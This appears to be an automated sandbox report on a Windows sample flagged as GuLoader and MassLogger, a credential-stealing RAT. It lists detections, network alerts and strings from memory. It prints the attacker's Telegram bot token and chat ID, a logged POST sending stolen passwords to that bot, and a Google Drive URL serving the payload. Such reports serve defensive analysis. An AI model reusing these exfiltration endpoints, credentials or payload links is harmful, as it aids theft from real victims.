Edit tour

Windows Analysis Report
xXUnP7uCBJ.exe

Overview

General Information

Sample name:	xXUnP7uCBJ.exe renamed because original name is a hash value
Original sample name:	95125d2296df5f467e524ca8978bbe74f0f3ce9520f6014d7a7172b2d7c29f86.exe
Analysis ID:	1588130
MD5:	37caf3903448f4b7d38a4d8e180f54dd
SHA1:	97ce4432b6d1220fad4b622bbefdf8c43d3d02ca
SHA256:	95125d2296df5f467e524ca8978bbe74f0f3ce9520f6014d7a7172b2d7c29f86
Tags:	exeGuLoaderuser-adrian__luca
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

xXUnP7uCBJ.exe (PID: 1608 cmdline: "C:\Users\user\Desktop\xXUnP7uCBJ.exe" MD5: 37CAF3903448F4B7D38A4D8E180F54DD)

xXUnP7uCBJ.exe (PID: 5856 cmdline: "C:\Users\user\Desktop\xXUnP7uCBJ.exe" MD5: 37CAF3903448F4B7D38A4D8E180F54DD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2212629078.0000000003E3C000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: xXUnP7uCBJ.exe PID: 5856	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: xXUnP7uCBJ.exe PID: 5856	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: xXUnP7uCBJ.exe PID: 5856	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:17.793698+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49867	149.154.167.220	443	TCP
2025-01-10T21:41:19.687049+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49880	149.154.167.220	443	TCP
2025-01-10T21:41:21.485754+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49891	149.154.167.220	443	TCP
2025-01-10T21:41:23.161952+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49904	149.154.167.220	443	TCP
2025-01-10T21:41:24.917668+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49917	149.154.167.220	443	TCP
2025-01-10T21:41:26.614738+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49929	149.154.167.220	443	TCP
2025-01-10T21:41:28.223995+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49942	149.154.167.220	443	TCP
2025-01-10T21:41:30.314610+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49955	149.154.167.220	443	TCP
2025-01-10T21:41:31.879631+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49965	149.154.167.220	443	TCP
2025-01-10T21:41:33.495391+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49977	149.154.167.220	443	TCP
2025-01-10T21:41:35.188701+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	49989	149.154.167.220	443	TCP
2025-01-10T21:41:36.757896+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50001	149.154.167.220	443	TCP
2025-01-10T21:41:38.364189+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:41:40.055332+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:41:41.697330+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T21:41:43.436345+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T21:41:45.015846+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T21:41:47.639350+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T21:41:49.349565+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50018	149.154.167.220	443	TCP
2025-01-10T21:41:50.928807+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50020	149.154.167.220	443	TCP
2025-01-10T21:41:52.471215+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50022	149.154.167.220	443	TCP
2025-01-10T21:41:53.992976+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50024	149.154.167.220	443	TCP
2025-01-10T21:41:55.601059+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50026	149.154.167.220	443	TCP
2025-01-10T21:41:57.166640+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50028	149.154.167.220	443	TCP
2025-01-10T21:41:58.844952+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50030	149.154.167.220	443	TCP
2025-01-10T21:42:00.554468+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50032	149.154.167.220	443	TCP
2025-01-10T21:42:02.309175+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50034	149.154.167.220	443	TCP
2025-01-10T21:42:03.939152+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.8	50036	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:09.855799+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49819	193.122.6.168	80	TCP
2025-01-10T21:41:16.746397+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49819	193.122.6.168	80	TCP
2025-01-10T21:41:18.668334+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49875	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:04.978467+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49785	142.250.181.238	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:41:17.415525+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49867	149.154.167.220	443	TCP
2025-01-10T21:41:19.224861+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49880	149.154.167.220	443	TCP
2025-01-10T21:41:21.006084+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49891	149.154.167.220	443	TCP
2025-01-10T21:41:22.756876+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49904	149.154.167.220	443	TCP
2025-01-10T21:41:24.655050+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49917	149.154.167.220	443	TCP
2025-01-10T21:41:26.262843+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49929	149.154.167.220	443	TCP
2025-01-10T21:41:27.913903+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49942	149.154.167.220	443	TCP
2025-01-10T21:41:29.890487+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49955	149.154.167.220	443	TCP
2025-01-10T21:41:31.567980+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49965	149.154.167.220	443	TCP
2025-01-10T21:41:33.138548+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49977	149.154.167.220	443	TCP
2025-01-10T21:41:34.875730+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49989	149.154.167.220	443	TCP
2025-01-10T21:41:36.530641+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50001	149.154.167.220	443	TCP
2025-01-10T21:41:38.043435+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50006	149.154.167.220	443	TCP
2025-01-10T21:41:39.657095+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50008	149.154.167.220	443	TCP
2025-01-10T21:41:41.352591+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50010	149.154.167.220	443	TCP
2025-01-10T21:41:43.109284+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50012	149.154.167.220	443	TCP
2025-01-10T21:41:44.746178+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50014	149.154.167.220	443	TCP
2025-01-10T21:41:46.294566+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50016	149.154.167.220	443	TCP
2025-01-10T21:41:48.959134+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50018	149.154.167.220	443	TCP
2025-01-10T21:41:50.630293+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50020	149.154.167.220	443	TCP
2025-01-10T21:41:52.194413+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50022	149.154.167.220	443	TCP
2025-01-10T21:41:53.768230+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50024	149.154.167.220	443	TCP
2025-01-10T21:41:55.294687+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50026	149.154.167.220	443	TCP
2025-01-10T21:41:56.863743+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50028	149.154.167.220	443	TCP
2025-01-10T21:41:58.487650+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50030	149.154.167.220	443	TCP
2025-01-10T21:42:00.308605+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50032	149.154.167.220	443	TCP
2025-01-10T21:42:01.891414+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50034	149.154.167.220	443	TCP
2025-01-10T21:42:03.586916+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	50036	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318d382f37f4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036744000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000366D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/O
Source: xXUnP7uCBJ.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000366D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036AE4000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036B1D000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036935000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.00000000368E5000.00000004.00000800.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036A53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.000000000633D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/_
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.000000000633D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/g
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2960783839.0000000007D10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcGM
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2400153476.0000000006389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2400153476.0000000006389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/W13-
Source: xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006371000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2400153476.0000000006389000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000002.2960421938.0000000006354000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG&export=download
Source: xXUnP7uCBJ.exe, 00000005.00000003.2400153476.0000000006389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1B-BzDxVYtSOJvWTazDI-d1HSDB0YMNcG&export=downloadX
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: xXUnP7uCBJ.exe, 00000005.00000002.2980898260.0000000036750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: xXUnP7uCBJ.exe, 00000005.00000003.2365084079.000000000638F000.00000004.00000020.00020000.00000000.sdmp, xXUnP7uCBJ.exe, 00000005.00000003.2365163291.000000000638F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	HTTPS traffic detected: 142.250.181.238:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.8:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49867 version: TLS 1.2

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe

Code function: 0_2_0040558F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040558F

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 0_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004034A5
